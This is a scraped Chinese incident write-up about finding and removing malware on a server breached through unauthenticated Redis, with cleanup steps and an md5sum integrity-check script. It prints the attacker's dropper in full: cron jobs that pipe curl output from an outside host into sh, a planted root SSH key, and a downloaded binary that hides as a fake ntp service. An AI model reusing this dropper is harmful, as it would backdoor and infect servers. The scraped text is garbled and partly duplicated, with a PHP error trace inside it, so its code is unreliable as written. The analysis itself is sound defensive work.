                if is_running; then stop

            echo "Unable to stop, will notattempt to start"

            exit 1

        fi

            ;; start

    status)

        if is_running; then

            echo "Running"

        else

            echo "Stopped"

            exit 1

        fi

    ;;

    *)

    echo "Usage:     exit 1{start|stop|restart|status}"

    ;;

esac

exit0

 

chkconfig--list|grep 3:on

可以看到

ntp

这个伪装的服务被设置为开机自启动了。

 解决方法:chkconfig ntp offchkconfig --del ntp


先拷贝出

ntp

这个启动脚本,然后

rm -f /etc/init.d/ntp

先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq332

个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件编辑 /var/spool/cron/crontabs/root /var/spool/cron/root

,清除植入的cron计划任务此外,还要检查以下几处:1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】2、查看其他可登陆的账户下是否也有恶意的计划任务3、检查是否有新添加了sudo账户


当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

 

安全策略:



redis

做密码授权访问,不要绑定在

0.0.0.0:6379

step1

新安装的无问题的电脑MD5SUM保存下来,作为原始模板:

#!/bin/bash、首先在#上执行下面几条命令,将记录原始的执行文件的md5sum

 

if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori

done

 

step2

、下面是我的

/home/scripts/chkmd5sum.sh

脚本,作用是检查相关目录的

md5sum是否发生变化。#!/bin/bash#需要配置计划任务定期执行这个脚本,比对md5sum

是否发生变化,变化则自动告警。

 if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

rm-f /tmp/md5sum*

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`

done

 

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then

    cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com

fi

rm-f /tmp/md5sum_status

 

step3

、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查

2

次或更多)

echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root后续chinaz.com

查看下这个域名,结果也在预料之内,注册在国外,未备案。


                             

[+++]


)
File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
非授权访问的查毒过程_服务器_内存溢出

非授权访问的查毒过程

非授权访问的查毒过程,第1张

redis非授权访问的查毒过程 排查及处理过程

9某天日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被***了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。

 

第二天,开始排查原因。

首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)

                             

联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。

 

根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。

 

我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里 *** 作,防止这个文件是浏览器0day利用脚本)

下面是wget 下载到的pm.sh,内容如下:

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

 

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root

mkdir-p /var/spool/cron/crontabs

echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root

 

if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then

    mkdir -p ~/.ssh

    rm -f ~/.ssh/authorized_keys*

    echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

    echo "PermitRootLogin yes">> /etc/ssh/sshd_config

    echo "RSAAuthentication yes">> /etc/ssh/sshd_config

    echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config

    echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

    /etc/init.d/sshd restart

fi

 

if[ ! -f "/etc/init.d/ntp" ]; then

    if [ ! -f"/etc/systemd/system/ntp.service" ]; then

       mkdir -p /opt

       curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install

    fi

fi

 

/etc/init.d/ntpstart

 

psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print }'|xargs kill -9

psauxf|grep -v grep|grep "/opt/cron"|awk '{print }'|xargs kill -9

 

根据这个脚本的内容,我们大致就知道他的作案手段了:

1、利用redis非授权***

2、下载脚本,写入crontab定时执行,确保病毒的再生。

3、修改服务器sshd登录为他自己的秘钥。

4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33

5/opt/KHK75NEOiq33 -Install 这步 *** 作应该是释放出病毒文件(如下的ntp【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】

6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)

 

附发现的伪造的/etc/init.d/ntp文件内容:

#!/bin/sh

#For RedHat and cousins:

#chkconfig: - 99 01

#description: NTP daemon

#processname: /usr/sbin/ntp

 

###BEGIN INIT INFO

#Provides:          /usr/sbin/ntp

#Required-Start:

#Required-Stop:

#Default-Start:     2 3 4 5

#Default-Stop:      0 1 6

#Short-Description: NTP daemon

#Description:       NTP daemon

###END INIT INFO

 

cmd="/usr/sbin/ntp "-D""

# 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的

# 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。

 

 

name=$(basenamepid_file="/var/run/$name.pid")

stdout_log="/var/log/$name.log"

stderr_log="/var/log/$name.err"

 

get_pid(){

    cat "$pid_file"

}

 

is_running(){

    [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1

}

 

case"" in

    start)

        if is_running; then

            echo "Already started"

        else

            echo "Starting $name"

           

            $cmd >>"$stdout_log" 2>> "$stderr_log" &

            echo $! > "$pid_file"

            if ! is_running; then

                echo "Unable to start, see$stdout_log and $stderr_log"

                exit 1

            fi

        fi

    ;;

    stop)

        if is_running; then

            echo -n "Stopping$name.."

            kill $(get_pid)

            for i in {1..10}

            do

                if ! is_running; then

                    break

                fi

                echo -n "."

                sleep 1

            done

            echo

            if is_running; then

                echo "Not stopped; maystill be shutting down or shutdown may have failed"

                exit 1

            else

                echo "Stopped"

                if [ -f "$pid_file"]; then

                    rm "$pid_file"

                fi

            fi

        else

            echo "Not running"

        fi

    ;;

    restart)

                if is_running; then stop

            echo "Unable to stop, will notattempt to start"

            exit 1

        fi

            ;; start

    status)

        if is_running; then

            echo "Running"

        else

            echo "Stopped"

            exit 1

        fi

    ;;

    *)

    echo "Usage:     exit 1{start|stop|restart|status}"

    ;;

esac

exit0

 

chkconfig--list|grep 3:on

可以看到

ntp

这个伪装的服务被设置为开机自启动了。

 解决方法:chkconfig ntp offchkconfig --del ntp


先拷贝出

ntp

这个启动脚本,然后

rm -f /etc/init.d/ntp

先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq332

个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件编辑 /var/spool/cron/crontabs/root /var/spool/cron/root

,清除植入的cron计划任务此外,还要检查以下几处:1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】2、查看其他可登陆的账户下是否也有恶意的计划任务3、检查是否有新添加了sudo账户


当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。

 

安全策略:



redis

做密码授权访问,不要绑定在

0.0.0.0:6379

  • 端口。开启iptables防火墙,只允许部分主机访问redis

  • 端口编写脚本,定期检查汇报重要文件的md5sum 

  • 附一个之前写过检测md5sum的脚本:

step1

新安装的无问题的电脑MD5SUM保存下来,作为原始模板:

#!/bin/bash、首先在#上执行下面几条命令,将记录原始的执行文件的md5sum

 

if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori

done

 

step2

、下面是我的

/home/scripts/chkmd5sum.sh

脚本,作用是检查相关目录的

md5sum是否发生变化。#!/bin/bash#需要配置计划任务定期执行这个脚本,比对md5sum

是否发生变化,变化则自动告警。

 if[[ ! -d /var/md5sum/ ]];then    mkdir /var/md5sum -pfi

 

rm-f /tmp/md5sum*

 

fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do

    find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`

done

 

if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then

    cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com

fi

rm-f /tmp/md5sum_status

 

step3

、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查

2

次或更多)

echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root后续chinaz.com

查看下这个域名,结果也在预料之内,注册在国外,未备案。


                             


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/778371.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-03
下一篇 2022-05-03

发表评论

登录后才能评论

评论列表(0条)

保存